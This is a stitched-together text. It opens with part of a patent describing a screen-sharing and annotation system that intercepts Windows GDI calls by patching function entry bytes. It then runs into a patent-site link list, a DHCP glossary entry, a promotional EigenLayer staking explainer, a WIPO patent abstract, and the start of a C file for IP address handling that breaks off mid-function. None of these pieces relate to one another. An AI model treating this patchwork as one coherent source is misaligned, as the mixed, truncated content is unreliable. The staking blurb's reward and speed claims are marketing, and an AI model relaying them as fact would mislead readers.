if (likely(p)) {
addr.s = s->s;
addr.len = (int)(long)(p - s->s);
mask.s = p + 1;
mask.len = s->len - (addr.len + 1);
/* allow '/' enclosed by whitespace */
trim_trailing(&addr);
trim_leading(&mask);
t = str2ip(&addr);
if (likely(t)) {
/* it can be a number */
if (str2int(&mask, &bitlen) == 0)
return mk_net_bitlen(dst, t, bitlen);
ip = *t;
t = str2ip(&mask);
if (likely(t))
return mk_net(dst, &ip, t);
/* error */
return -1;
}
#ifdef USE_IPV6
else {
t = str2ip6(&addr);
if (likely(t)) {
/* it can be a number */
if (str2int(&mask, &bitlen) == 0)
return mk_net_bitlen(dst, t, bitlen);
ip = *t;
t = str2ip6(&mask);
if (likely(t))
return mk_net(dst, &ip, t);
/* error */
return -1;
}
}
#endif /* USE_IPV6 */
}
return -1;
}
void print_ip(char* p, struct ip_addr* ip, char *s)
{
switch(ip->af){
case AF_INET:
DBG("%s%d.%d.%d.%d%s", (p)?p:"",
ip->u.addr[0],
ip->u.addr[1],
ip->u.addr[2],
ip->u.addr[3],
(s)?s:""
);
break;
#ifdef USE_IPV6
case AF_INET6:
DBG("%s%x:%x:%x:%x:%x:%x:%x:%x%s", (p)?p:"",
htons(ip->u.addr16[0]),
htons(ip->u.addr16[1]),
htons(ip->u.addr16[2]),
htons(ip->u.addr16[3]),
htons(ip->u.addr16[4]),
htons(ip->u.addr16[5]),
htons(ip->u.addr16[6]),
htons(ip->u.addr16[7]),
(s)?s:""
);
break;
#endif /* USE_IPV6 */
default:
DBG("print_ip: warning unknown address family %d\n", ip->af);
}
}
void stdout_print_ip(struct ip_addr* ip)
{
switch(ip->af){
case AF_INET:
printf("%d.%d.%d.%d", ip->u.addr[0],
ip->u.addr[1],
ip->u.addr[2],
ip->u.addr[3]);
break;
#ifdef USE_IPV6
case AF_INET6:
printf("%x:%x:%x:%x:%x:%x:%x:%x", htons(ip->u.addr16[0]),
htons(ip->u.addr16[1]),
htons(ip->u.addr16[2]),
htons(ip->u.addr16[3]),
htons(ip->u.addr16[4]),
htons(ip->u.addr16[5]),
htons(ip->u.addr16[6]),
htons(ip->u.addr16[7])
);
break;
#endif /* USE_IPV6 */
default:
DBG("print_ip: warning unknown address family %d\n", ip->af);
}
}
void print_net(struct net* net)
{
if (net==0){
LOG(L_WARN, "ERROR: print net: null pointer\n");
return;
}
print_ip("", &net->ip, "/"); print_ip("", &net->mask, "");
}
#ifdef USE_MCAST
/* Returns 1 if the given address is a multicast address */
int is_mcast(struct ip_addr* ip)
{
if (!ip){
LOG(L_ERR, "ERROR: is_mcast: Invalid parameter value\n");
return -1;
}
if (ip->af==AF_INET){
return IN_MULTICAST(htonl(ip->u.addr32[0]));
#ifdef USE_IPV6
} else if (ip->af==AF_INET6){
return IN6_IS_ADDR_MULTICAST((struct in6_addr*)ip->u.addr32);
#endif /* USE_IPV6 */
} else {
LOG(L_ERR, "ERROR: is_mcast: Unsupported protocol family\n");
return -1;
}
}
#endif /* USE_MCAST */
/** get protocol name (asciiz).
* @param proto - protocol number
* @return string with the protocol name or "unknown".
*/
char* get_proto_name(unsigned int proto)
{
switch(proto){
case PROTO_NONE:
return "*";
case PROTO_UDP:
return "udp";
case PROTO_TCP:
return "tcp";
case PROTO_TLS:
return "tls";
case PROTO_SCTP:
return "sctp";
default:
return "unknown";
}
}
/**
* match ip address with net address and bitmask
* - return 0 on match, -1 otherwise
*/
int ip_addr_match_net(ip_addr_t *iaddr, ip_addr_t *naddr,
int mask)
{
unsigned char c;
int i;
int mbytes;
int mbits;
if(mask==0)
return 0;
if(iaddr==NULL || naddr==NULL || mask<0)
return -1;
if(iaddr->af != naddr->af)
return -1;
if(iaddr->af == AF_INET)
{
if(mask>32)
return -1;
if(mask==32)
{
if(ip_addr_cmp(iaddr, naddr))
return 0;
return -1;
}
} else if(iaddr->af == AF_INET6) {
if(mask>128)
return -1;
if(mask==128)
{
if(ip_addr_cmp(iaddr, naddr))
return 0;
return -1;
}
}
mbytes = mask / 8;
for(i=0; i<mbytes; i++)
{
if(iaddr->u.addr[i] != naddr->u.addr[i])
return -1;
}
mbits = mask % 8;
if(mbits==0)
return 0;
c = naddr->u.addr[i] & (~((1 << (8 - mbits)) - 1));
if((iaddr->u.addr[i] & c) == c)
return 0;
return -1;
}
|
__label__pos
| 0.957599 |
×
We have made updates to our Privacy Policy to reflect the implementation of the General Data Protection Regulation.
Explore Polymorphism in Java
Explore Polymorphism in Java
Monday Oct 31st 2016 by Joydip Kanjilal
Explore what polymorphism is, types of polymorphism and how it can be implemented in Java, including code examples wherever necessary to illustrate the concepts covered.
Polymorphism is the existence of the same thing in various forms. It is a feature of OOP that enables items to change form based on circumstances. The term polymorphism is derived from two Greek words, namely, "poly" and "morphos." While the term "poly" means many, and "morphos" which implies forms. Hence, polymorphism denotes the existence of the same thing in various forms. The Java Programming Language has been one of the most popular programming languages for decades. It is widely used in enterprise software development and has matured a lot over the last decade. The Java Programming Language provides excellent support for polymorphism.
In this article, we will explore how polymorphism can be implemented in Java. This article presents a discussion on what polymorphism is, types of polymorphism and how it can be implemented in Java with code examples wherever necessary to illustrate the concepts covered.
Types of Polymorphism
Polymorphism enables an object to exhibit different behavior based on circumstances. Essentially, polymorphism is of two types. These include: static or compile time polymorphism and dynamic or runtime polymorphism. You would need to take advantage of method overloading to implement static polymorphism and method overriding to implement runtime polymorphism.
Binding is the act of associating an instance of a class with its member. There are two types of binding: early binding and late binding. The basic difference between late binding and early binding is that in the former, the binding happens late, i.e., at runtime. Hence the name late binding.
Implementing Method Overloading
Method overloading is an example of early binding or compile-time polymorphism or static polymorphism. In this section, we will examine how we can implement method overloading in Java. Method overloading is a form of polymorphism in which a class can have multiple methods with identical names but different signatures. Consider the following class.
public class Test {
public int Add(int x, int y)
{
return x + y;
}
public double Add(double x, double y)
{
return x+y;
}
public String Add(String s1, String s2)
{
return s1+s2;
}
}
Now refer to the code listing provided above. The class Test contains three methods — all of them having identical names. They differ in their signatures though. Hence, we can say that the Add method here is overloaded. Now, when you invoke an Add method and pass the necessary parameters, the correct version of the overloaded Add method would be called based on the type and sequence of the parameters passed.
Operator overloading is another example of method overloading. In operator overloading you overload operators to make it possible for user defined data types to work like fundamental data types. Though Java doesn't have support for operator overloading by default, languages like C++ and C# have excellent support for operator overloading. You should note that a few operators in the String class in Java are overloaded.
Implementing Method Overriding
Method overriding is an example of dynamic binding or late binding or runtime polymorphism. Let's understand method overriding with an example. Consider the following class called Account. The Account class contains one method called Deposit.
public class Account {
public void Deposit()
{
System.out.println("Deposit method of the Account class.");
}
}
The SavingsAccount class extends the Account class as shown below. The SavingsAccount class extends the Account class and provides its own implementation of the Deposit method.
public class SavingsAccount extends Account {
public void Deposit()
{
System.out.println("Deposit method of the SavingsAccount class.");
}
}
The following code snippet shows how you can create an instance of the SavingsAccount class and then invoke the Deposit method.
public static void main(String[] args) {
Account obj = new SavingsAccount();
obj.Deposit();
}
In the code example shown above, the SavingsAccount class inherits the members of the Account class and the Deposit method is overridden. The following statement is an example of upcasting.
Account obj = new SavingsAccount();
This is an example of runtime polymorphism. Note that upcasting is a type of polymorphism in which you can cast a type up in the inheritance chain. In other words, in upcasting, you can cast a subtype to a supertype. When the code above is executed, the message "Deposit method of the SavingsAccount class." is displayed at the console window.
Home
Mobile Site | Full Site
Copyright 2018 © QuinStreet Inc. All Rights Reserved
|
__label__pos
| 0.995695 |
drupal x.xx, xx/xx/xxxx ----------------------- - major overhaul of the entire underlying design: * everything is based on nodes * introduced links/drupal tags - rewrote submission/moderation queue: * renamed submission.module to moderation.module * updated submission forms - added a "book module": * merged documentation and FAQ module into a book module - various updates: * added preview functionality when submitting new content (such as a story) from the administration pages. * made the administration section only show those links a user has access to. * improved account module * improved comment module * improved story module: + stories can now be permanently deleted * improved themes: + W3C validation on a best effort basis + added goofy theme - revised documentation drupal 2.00, 15/03/2001 ----------------------- - rewrote the comment/discussion code: * comment navigation should be less confusing now * additional/alternative display and order methods have been added. * modules can be extended with a "comment system": modules can embed the existing comment system without having to write their own, duplicate comment system. - added sections and section manager: * story sections can be maintained from the administration pages. * story sections make the open submission more adaptive in that you can set individual post, dump and expiration thresholds for each section according to the story type and urgency level: stories in certain sections do not "expire" and might stay interesting and active as time passes by, whereas news-related stories are only considered "hot" over a short period of time. - multiple vhosts + multiple directories: * you can setup multiple drupal sites on top of the same physical source tree either by using vhosts or sub-directories - added "user ratings" similar to SlashCode's karma or Scoop's mojo: * all rating logic is packed into a module to ease experimenting with different rating heuristics/algorithms. - added "search infrastructure": * improved search page and integrated search functionality in the administration pages. - added translation / localization / internationalization support: * because many people would love to see their website showing a lot less of English, and far more of their own language, drupal provides a framework to setup a multi-lingual website or to overwrite the default English text in English. - added fine-grained user permission (or group) system: * users can be granted access to specific administration sections. Example: a FAQ maintainer can be given access to maintain the FAQ and translators can be given access to the translation pages. - added FAQ module - changed the "open submission queue" into a (optional) module - various updates: * improved account module: + user accounts can be deleted + added fine-grained permission support * improved block module * improved cron module * improved diary module: + diary entries can be deleted * improved headline module: + improved parser to support more "generic" RDF/RSS/XML backend * improved module module * improved watchdog module * improved database abstraction layer * improved themes: + W3C validation on a best effort basis + added example theme * added CREDITS file * added directory "misc" * added new scripts to directory "scripts" - revised documentation drupal 1.00, 15/01/2001 ----------------------- - initial release
|
__label__pos
| 0.992978 |
Avail Dussehra and Diwali Special Offer 10% Discount on All Premium, Azure courses & Gold Membership
Interview Questions and Answer
Options:
a. Parent node
b. Root node
c. Leaf node
d. Siblings
Reveal Answer
Options:
a. Complete binary tree
b. Full binary tree
c. Strictly binary tree
d. Binary Search Tree
Reveal Answer
Options:
a. Adjacent matrix
b. Adjacency list
c. Incidence matrix
d. All of above
Reveal Answer
Options:
a. Adjacent node
b. Non-leaf node
c. Siblings
d. Leaf node
Reveal Answer
Options:
a. Every binary tree is either complete or full
b. Every complete binary tree is also a full binary tree
c. Every full binary tree is also a complete binary tree
d. No binary tree is both complete and full
Reveal Answer
Options:
a. Every binary tree has at least one node
b. Every non-empty tree has exactly one root node
c. Every node has at most two children
d. Every non-root node has exactly one parent
Reveal Answer
Options:
a. Queue
b. Stack
c. Linked List
d. None of above
Reveal Answer
Bestdotnet google plus
|
__label__pos
| 0.999954 |
How do you update skyrim?
1. How do i update skyrim? for some reason mine wont update automatically, im on xbox 360 kinect and also on xbox live.
User Info: Aryiena
Aryiena - 3 years ago
Top Voted Answer
1. If you are on xbox LIVE then when you start up Skyrim it'll ask you if you want to update. If it's not asking you to update then you're already fully up to date.
You can check what patch you're on in-game. Press Start to access the menu and go over to the SYSTEM tab. Down in the bottom left of the menu is a number, that's the patch version number.
As of this response the latest patch is 1.8.159.0.7.
If you are on an old standard definition tv you may have trouble reading the patch version number.
User Info: jammymacster
jammymacster (Expert) - 3 years ago 2 0
This question has been successfully answered and closed.
|
__label__pos
| 0.681443 |
Calculus (3rd Edition)
Published by W. H. Freeman
ISBN 10: 1464125260
ISBN 13: 978-1-46412-526-3
Chapter 2 - Limits - 2.5 Evaluating Limits Algebraically - Exercises - Page 72: 24
Answer
$$\lim _{x \rightarrow 4} \frac{\sqrt{5-x}-1}{2-\sqrt{x}}=2$$
Work Step by Step
Given $$\lim _{x \rightarrow 4} \frac{\sqrt{5-x}-1}{2-\sqrt{x}}$$ let $$ f(x) = \frac{\sqrt{5-x}-1}{2-\sqrt{x}}$$ Since, we have $$ f(4)=\frac{1-1}{2-2}=\frac{0}{0}$$ So, transform algebraically and cancel \begin{aligned} L&= \lim _{x \rightarrow 4} \frac{\sqrt{5-x}-1}{2-\sqrt{x}} \\ &= \lim _{x \rightarrow 4} \frac{\sqrt{5-x}-1}{2-\sqrt{x}} \times \frac{\sqrt{5-x}+1}{\sqrt{5-x}+1}\\ &= \lim _{x \rightarrow 4} \frac{(\sqrt{5-x})^{2}-1^{2}}{(2-\sqrt{x})(\sqrt{5-x}+1)}\\ &= \lim _{x \rightarrow 4} \frac{5-x-1}{(2-\sqrt{x})(\sqrt{5-x}+1)}\\ &= \lim _{x \rightarrow 4} \frac{4-x}{(2-\sqrt{x})(\sqrt{5-x}+1)}\\ &= \lim _{x \rightarrow 4} \frac{2^{2}-(\sqrt{x})^{2}}{(2-\sqrt{x})(\sqrt{5-x}+1)}\\ &= \lim _{x \rightarrow 4} \frac{(2+\sqrt{x})(2-\sqrt{x})}{(2-\sqrt{x})(\sqrt{5-x}+1)}\\ &= \lim _{x \rightarrow 4} \frac{2+\sqrt{x}}{\sqrt{5-x}+1}\\ &= \frac{2+\sqrt{4}}{\sqrt{5-4}+1}\\ &= \frac{2+2}{\sqrt{1}+1}\\ &= \frac{4}{2}\\ &=2 \end{aligned}
Update this answer!
You can help us out by revising, improving and updating this answer.
Update this answer
After you claim an answer you’ll have 24 hours to send in a draft. An editor will review the submission and either publish your submission or provide feedback.
|
__label__pos
| 0.999993 |
45
I am upgrading my code from iOS 8 to iOS 9. I have a code snippet in my program [[UIApplication applicationName] setStatusBarHidden:YES];.
I am getting the warning "setStatusBarHidden is deprecated in iOS 9.0, Use -[UIViewController prefersStatusBarHidden". If I just replace 'setStatusBarHidden' with 'prefersStatusBarHidden', I get 'instance method not found'. Can someone please suggest me how to solve this problem?
2
• prefersStatusBarHidden is a method of UIViewController objects, not UIApplication. So you should set it on each UIViewController. – Kegluneq Jun 29 '15 at 11:34
• @user1963877 Thank you. As I am new to iOS programming, can you please let me know how to set it on each UIViewController. 'applicationName' is of type UIApplication. – devops_engineer Jun 29 '15 at 12:13
56
Add below code to your view controller..
- (BOOL)prefersStatusBarHidden {
return NO;
}
Note :
• If you change the return value for this method, call the setNeedsStatusBarAppearanceUpdate method.
• For childViewController, To specify that a child view controller should control preferred status bar hidden/unhidden state, implement the childViewControllerForStatusBarHidden method.
5
• 3
How is this the solution? preferStatusBarHidden existed before iOS 9. It can only be applied to the view controller so if you want to more dynamically hide or show the status bar how do you handle that in iOS 9? How would you for example show or hide the status bar based on the user touching a button on the screen? – Polar Bear Jul 10 '15 at 0:31
• @PolarBear You can apply logic like this, -(void)touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event { shouldHideStatusBar = (shouldHideStatusBar)? NO: YES; [self setNeedsStatusBarAppearanceUpdate]; } – Nilesh Patel Jul 10 '15 at 5:49
• You can add this code to your button event as well. – Nilesh Patel Jul 10 '15 at 5:49
• 3
@NileshPatel Thanks for the help here. I ended up figuring out how to correctly change it just on my root controller with your idea. Thanks again. One tip, make sure to add to your info.plist "View controller-based status bar appearance" set to YES otherwise things just don't seem to work. – Polar Bear Aug 18 '15 at 3:54
• How can the act of it hiding be animated? – Phil Andrews Nov 1 '15 at 0:41
6
prefersStatusBarHidden is available from iOS 7+.
Use this in Your UIViewController class
var isHidden = true{
didSet{
self.setNeedsStatusBarAppearanceUpdate()
}
}
override var prefersStatusBarHidden: Bool {
return isHidden
}
enter image description here
If you change the return value for this method, call the setNeedsStatusBarAppearanceUpdate() method. To specify that a child view controller should control preferred status bar hidden/unhidden state, implement the childViewControllerForStatusBarHidden method.
5
you have to add method in yourViewController.m
- (BOOL)prefersStatusBarHidden {
return NO;
}
4
Swift 3.1 Xcode 8.2.1
1. Change in info.plist the row View controller-based status bar appearance and set it to NO
2. In your target settings tick "Hide Status bar"
Both steps are required
2
Here is my swift code for setting status bar hidden and style.
extension UIViewController {
public var privateStatusBarHidden: Bool {
return statusBarHidden
}
public var privateStatusBarStyle: UIStatusBarStyle {
return statusBarStyle
}
public func setStatusBarHidden(hidden: Bool, animated: Bool = false) {
statusBarHidden = hidden
if animated {
UIView.animate(withDuration: 0.25, animations: {
self.setNeedsStatusBarAppearanceUpdate()
})
} else {
self.setNeedsStatusBarAppearanceUpdate()
}
}
public func setStatusBar(style: UIStatusBarStyle) {
statusBarStyle = style
self.setNeedsStatusBarAppearanceUpdate()
}
public static func swizzleStatusBarHiddenPropertyForViewController() {
var original = class_getInstanceMethod(UIViewController.self, #selector(getter: UIViewController.prefersStatusBarHidden))
var changeling = class_getInstanceMethod(UIViewController.self, #selector(getter: UIViewController.privateStatusBarHidden))
method_exchangeImplementations(original, changeling)
original = class_getInstanceMethod(UIViewController.self, #selector(getter: UIViewController.preferredStatusBarStyle))
changeling = class_getInstanceMethod(UIViewController.self, #selector(getter: UIViewController.privateStatusBarStyle))
method_exchangeImplementations(original, changeling)
original = class_getClassMethod(UIViewController.self, #selector(UIViewController.swizzleStatusBarHiddenPropertyForViewController))
changeling = class_getClassMethod(UIViewController.self, #selector(UIViewController.emptyFunction))
method_exchangeImplementations(original, changeling)
}
@objc private static func emptyFunction() {}
}
Usage
• in lauching function
UIViewController.swizzleStatusBarHiddenPropertyForViewController()
• for hide/show statusBar, in UIViewController
. self.setStatusBar(hidden: true/false)
1
Swift 3 with Xcode 8.3.3
1) Add a row in you Info.plist. enter image description here
2) In your ViewController ViewDidLoad() override add:
UIApplication.shared.isStatusBarHidden = true
2
• 1
'isStatusBarHidden' is also deprecated – fishinear Sep 14 '18 at 20:09
• That’s right. What I did next was to add a property in info.plist called ‘View Controller based statusbar..’ with Boolean ‘NO’ and in project General setting I changed ‘status bar type’ to ‘light’. – Codetard Sep 15 '18 at 2:11
Your Answer
By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy
Not the answer you're looking for? Browse other questions tagged or ask your own question.
|
__label__pos
| 0.537389 |
Multicast Test On The Network
When you have servers in one cluster, the servers communicate with each other using multicast messaging mode. But a lot of times you see the messages in the log files of the servers like “Lost Multicast Messages”. This means there is something wrong in the servers communication. At this point of time it is necessary to test the network connection between the ip addresses where the clusters are running.
Syntax : java utils.MulticastTest -n name -a address [-p portnumber] [-t timeout] [-s send]
-N : Name of the server so that you can identify the communication.
-A : Multicast address on which the messages are sent and received.
-P : This is the multicast port number on which the servers communicate.
-T : This is the timeout value, if no multicase message is received within this time, warning is shown on the shell prompt.
-S : The duration in seconds between sending the messages.
Below is how you do it:
Test : Start the command prompts on machines where you have your managed servers. (can be 1 or more)
Ensure that the servers in the cluster are not running, this test is for checking the network connectivity.
Set the java environment on both the shells. Then enter the below syntax:
System 1 : java utils.MulticastTest -N Server1 -A 237.0.0.1 -P 7008 -T 10 -S 2
System 2 : java utils.MulticastTest -N Server2 -A 237.0.0.1 -P 7008 -T 10 -S 2
Both servers will start sending and receiving messages as below:
Server 1 :
Server 2 :
The screen shots show that there is no issue in the connectivity. But when there is a lost message, it will show the message:
Received message 142 from Server1
Received message 134 from Server2
I (Server1) sent message num 143
Received message 143 from Server1
Missed message for Server2? Last Seq 134 and just received 136
I (Server1) sent message num 144
Received message 144 from Server1
Received message 137 from Server2
I (Server1) sent message num 145
Received message 145 from Server1
Received message 138 from Server2
I (Server1) sent message num 146
Received message 146 from Server1
Received message 139 from Server2
Missed message for Server2? Last Seq 139 and just received 141
I (Server1) sent message num 147
Received message 147 from Server1
Received message 142 from Server2
I (Server1) sent message num 148
This means message number 135 and 140 are lost by server2. In this situation, you know there is an issue. Check with the network administrator on what went wrong.
If you need any clarifications on the test, please do let us know.
Best Regards.
9 comments
1. Hello Team,
Well explained. why should the servers in the cluster be NOT running? what happens if they are running? does that break anything / cause any issue?
Best Regards,
Dinesh
1. Hi Dinesh,
The whole purpose of this test is that the multicast on the network between the systems is functioning properly so that you know that there will be no issue in communication between the servers. But it does not cause any issue even if the servers are running when you run the test.
Regards,
Divya
2. Perfect Divya!! I got the point. Many thanks
I understand that from Weblogic 10.x onwards the “Unicast” communication was introduced.
Do we already have a post on that? If not, would be great if you can create one, differentiating both.
Just a suggestion 🙂
Regards,
Dinesh
3. The above scenario is for 2 different boxes.
if i’m using a single box with 2 network card configured for 2 weblogic instances, how we can go about it?
4. The same test should work fine, you only need to keep the following in mind
Ensure that you have configured a UnixMachine instance from the WebLogic Server console and have specified an InterfaceAddress for each Server instance to handle multicast traffic.
Run /usr/sbin/ifconfig -a to check the MAC address of each machine in the multihomed environment. Ensure that each machine has a unique MAC address. If machines use the same MAC address, this can cause multicast problems.
Ref :- http://download.oracle.com/docs/cd/E12840_01/wls/docs103/cluster/multicast_configuration.html#wp1035138
Thanks,
Faisal
Leave a Reply
|
__label__pos
| 0.782667 |
Collecting Pod Metrics and cAdvisor Metrics
Since Observe Helm charts v0.4.21 and Observe kustomize manifests v1.0.0, Observe has reduced the amount of metrics its stack collects by default.
Pod metrics including custom metrics are not collected by default.
pod_action: drop # set to "drop" to drop all pod metrics
- PROM_SCRAPE_POD_ACTION=drop
Some cAdvisor metrics are not collected by default. For example, container_fs_xxx metrics are not collected.
cadvisor_metric_drop_regex: container_(network_tcp_usage_total|network_udp_usage_total|tasks_state|cpu_load_average_10s)
cadvisor_metric_keep_regex: container_(cpu_.*|spec_.*|memory_.*|network_.*|file_descriptors)|machine_(cpu_cores|memory_bytes)
- PROM_SCRAPE_CADVISOR_METRIC_DROP_REGEX=container_(network_tcp_usage_total|network_udp_usage_total|tasks_state|cpu_load_average_10s)
- PROM_SCRAPE_CADVISOR_METRIC_KEEP_REGEX=container_(cpu_.*|spec_.*|memory_.*|network_.*|file_descriptors)|machine_(cpu_cores|memory_bytes)
Let’s suppose you need container_fs_reads_bytes_total, one of cAdvisor metrics, Pod metrics including your custom metrics, and want to collect these metrics more often.
1. Check the version of Observe Helm Charts.
helm search repo observe/stack --versions | head -2
$ helm search repo observe/stack --versions | head -2
NAME CHART VERSION APP VERSION DESCRIPTION
observe/stack 0.4.20 Observe Kubernetes agent stack
1. Skip this step if you have observe/stack 0.4.20 or a newer version
helm repo update
$ helm repo update
Hang tight while we grab the latest from your chart repositories...
...Successfully got an update from the "fluent" chart repository
...Successfully got an update from the "observe" chart repository
...Successfully got an update from the "open-telemetry" chart repository
...Successfully got an update from the "otel" chart repository
...Successfully got an update from the "grafana" chart repository
Update Complete. ⎈Happy Helming!⎈
3.a If Observe Kubernetes agent stack via Helm is already running, create the observe-stack-values.yaml file.
global:
observe:
collectionEndpoint: https://${OBSERVE_CUSTOMER}.collect.observeinc.com/
metrics:
grafana-agent:
prom_config:
scrape_interval: 30s
scrape_configs:
pod_action: keep
cadvisor_metric_keep_regex: container_(cpu_.*|spec_.*|memory_.*|network_.*|fs_.*|file_descriptors)|machine_(cpu_cores|memory_bytes)
observe:
token:
value: ${OBSERVE_TOKEN}
3.b Upgrade the existing Observe Kubernetes agent stack via Helm.
helm upgrade --reset-values -f observe-stack-values.yaml --namespace=observe observe-stack observe/stack
1. Follow this step if you install Observe Kubernetes agent stack via Helm for the first time.
helm install --namespace=observe observe-stack observe/stack \
--set global.observe.collectionEndpoint="https://${OBSERVE_CUSTOMER}.collect.observeinc.com/" \
--set observe.token.value="${OBSERVE_TOKEN}" \
--set metrics.grafana-agent.prom_config.scrape_interval="30s" \
--set metrics.grafana-agent.prom_config.scrape_configs.pod_action="keep" \
--set metrics.grafana-agent.prom_config.scrape_configs.cadvisor_metric_keep_regex="container_(cpu_.*|spec_.*|memory_.*|network_.*|fs_.*|file_descriptors)|machine_(cpu_cores|memory_bytes)"
If you want to change other config parameters, see https://github.com/observeinc/helm-charts/blob/main/charts/metrics/values.yaml.
1. Check whether you have the latest version of Observe kustomize manifests. If it returns nothing, that means you have the latest version.
kubectl diff -k https://github.com/observeinc/manifests/stack
1. Skip this step if you have the latest version.
kubectl apply --prune -l observeinc.com/component -k https://github.com/observeinc/manifests/stack --prune-allowlist=/v1/ConfigMap
To find other resources you want to target, use the following kubectl command.
kubectl api-resources --verbs=delete
1. Create a new kustomized manifest with our kustomized directory as a base.
You can override any individual configuration element by creating a new kustomized manifest with our kustomized directory as a base.
The following example creates a new directory with kustomization.yaml set to override the FB_DEBUG variable in the fluent-bit environment variable configmap:
EXAMPLE_DIR=$(mktemp -d)
cat <<EOF >$EXAMPLE_DIR/kustomization.yaml
resources:
- github.com/observeinc/manifests//stack?ref=main
configMapGenerator:
- name: grafana-agent-env
behavior: merge
literals:
- PROM_SCRAPE_INTERVAL=30s
- PROM_SCRAPE_POD_ACTION=keep
- PROM_SCRAPE_CADVISOR_METRIC_KEEP_REGEX="container_(cpu_.*|spec_.*|memory_.*|network_.*|fs_.*|file_descriptors)|machine_(cpu_cores|memory_bytes)"
EOF
If you want to change other config parameters, review the configuration template.
1. Update the observe-metrics deployment.
kubectl apply -k $EXAMPLE_DIR
namespace/observe unchanged
serviceaccount/observe-events unchanged
serviceaccount/observe-logs unchanged
serviceaccount/observe-metrics unchanged
role.rbac.authorization.k8s.io/observe-events unchanged
clusterrole.rbac.authorization.k8s.io/observe-events unchanged
clusterrole.rbac.authorization.k8s.io/observe-metrics unchanged
rolebinding.rbac.authorization.k8s.io/observe-events unchanged
clusterrolebinding.rbac.authorization.k8s.io/observe-events unchanged
clusterrolebinding.rbac.authorization.k8s.io/observe-metrics unchanged
configmap/observe-fluent-bit-config-fg7t8944mb unchanged
configmap/observe-fluent-bit-env-chkt297kf9 unchanged
configmap/observe-grafana-agent-env-9hdcmcf8kk created
configmap/observe-grafana-agent-gbh462k4cm unchanged
configmap/observe-kube-state-events-env-d5h55bfb5h unchanged
deployment.apps/observe-events unchanged
deployment.apps/observe-metrics configured
daemonset.apps/observe-logs configured
|
__label__pos
| 0.671253 |
Go Down
Topic: Using standard Characters in LiquidCrystal Library (Read 738 times) previous topic - next topic
jamesdem1123
Hello all,
I need to print a "special" character to an HD44780 controlled display. The character is a complete block, which is stored in the display controller ROM as xFF after the japanese characters. (shown here http://www.electronic-engineering.ch/microchip/datasheets/lcd/charset.gif ) I know I can use the lcd.create function to just create a special character and use that, but I already have 8 special characters and dont want to have to write/rewrite characters.
Is there a way to write the block character from the current ROM, and how do I do it?
Thanks.
jamesdem1123
Turns out you can just use lcd.write(data) with the hex/binary/decimal of the character.
Go Up
|
__label__pos
| 0.891241 |
note
This article was last updated on April 22, 2023, 1 year ago. The content may be out of date.
Mermaid is a javascript library that can render text definitions as diagrams. It’s not supported by PaperMod. There are two major problems that I encountered when adding mermaid support.
Mermaid Diagrams not Showing
I tried the method described in this comment. It only worked in my local development environment. And when I put mermaid related snippets in extend_footer.html like the author suggested, it won’t even work.
Cause
The head and the footer of the theme is handled by baseof.html and they’re both partials. However, when rendering, head is not cached but footer is not. hasMermaid variable is only be set when hugo finishes processing the content of the post. The content is based on commit 575cc0c.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html>
<html lang="{{ site.Language }}" dir="{{ .Language.LanguageDirection | default "auto" }}">
<head>
{{- partial "head.html" . }}
</head>
<body class="
{{- if (or (ne .Kind `page` ) (eq .Layout `archives`) (eq .Layout `search`)) -}}
{{- print "list" -}}
{{- end -}}
{{- if eq site.Params.defaultTheme `dark` -}}
{{- print " dark" }}
{{- end -}}
" id="top">
{{- partialCached "header.html" . .Page -}}
<main class="main">
{{- block "main" . }}{{ end }}
</main>
{{ partialCached "footer.html" . .Layout .Kind (.Param "hideFooter") (.Param "ShowCodeCopyButtons") -}}
</body>
</html>
When in my local development environment, hugo is running in fast render mode. By using store, this variable is not reset. When hugo rebuilds the site, the variable is picked up in extend_head.html so mermaid diagrams display properly.
But when deploying the site, hugo doesn’t rebuild the site. This variable is not set until hugo is done with the content of the post.
Because footer is a cached partial, hugo reuse the same footer across the site. Some pages don’t have mermaid, and they’re usually built first. extend_footer.html doesn’t work either.
Solution
Modify baseof.html and add a new partial mermaid.html that renders mermaid diagrams when hasMermaid variable is set.
Dark Mode Toggle
When using the dark mode toggle, mermaid diagrams doesn’t update their themes. This is expected since the code used to initialize mermaid diagrams doesn’t take dark mode into consideration.
Solution
By inspecting the source code of the PaperMod theme, when in dark mode document.body.classList.contains('dark') will return true, whether dark mode is set auto or manual. That’s the first step. Now we can choose the correct theme when the page is loaded.
But when dark mode is toggled, dark class on document.body will be added or removed, and we’ll watch this as well. Javascript has provided MutationObserver for use to watch any change that might happen to an html element.
var observer = new MutationObserver(function (mutations) {
mutations.forEach(function (mutation) {
const theme = document.body.classList.contains('dark')? 'dark': 'default';
if (oldTheme !== theme) {
oldTheme = theme;
// rerender mermaid diagrams
}
});
});
observer.observe(document.body, {
attributes: true,
attributeFilter: ['class']
});
To rerender mermaid diagrams, I have looked up the mermaid documentation and based on this comment.
1. Restore the innerhtml of the mermaid diagram elements to their original text (requires saving them before they’re rendered)
2. Remove the data-processed attribute from these elements
3. Reinitialize mermaid
4. Rerender
warning
mermaid.init is deprecated according to the mermaid documentation.
|
__label__pos
| 0.671001 |
Azure Migration Challenges and Solutions: Complete Guide
Azure Migration Challenges and Solutions
Azure Migration Challenges and Solutions: A Comprehensive Guide
The process of migrating an organization’s IT infrastructure, apps, data, and services from on-premises or other cloud environments to Microsoft Azure, a complete cloud computing platform, is referred to as Azure migration. Azure provides a variety of services, including computing power, storage, databases, networking, analytics, and machine learning.
Azure migration allows businesses to reap the benefits of cloud computing, such as scalability, flexibility, cost-efficiency, and increased agility. It enables firms to transition from a typical capital expenditure model to an operational expenditure one, in which they only pay for the resources and services that they utilize.
Azure migration is the process of moving an organization’s IT infrastructure, applications, data, and services from on-premises or other cloud environments to Microsoft Azure. It involves steps such as assessment, planning, networking, data migration, application migration, security and compliance, performance optimization, cost optimization, testing and validation, and go-live.
Azure provides a range of tools and services to facilitate the migration process, ensuring data integrity, security, and performance. By following best practices that can be learned from an Azure Course and leveraging Azure services, organizations can successfully migrate to Azure and unlock the benefits of cloud computing.
Azure migration is a crucial process for organizations seeking to harness the benefits of cloud computing. It allows businesses to modernize their IT infrastructure, improve scalability, reduce costs, and increase agility. Azure provides a robust set of tools, services, and migration methodologies to simplify the migration journey. From lift-and-shift migrations to re-platforming or re-architecting applications, Azure offers flexibility to accommodate diverse migration scenarios.
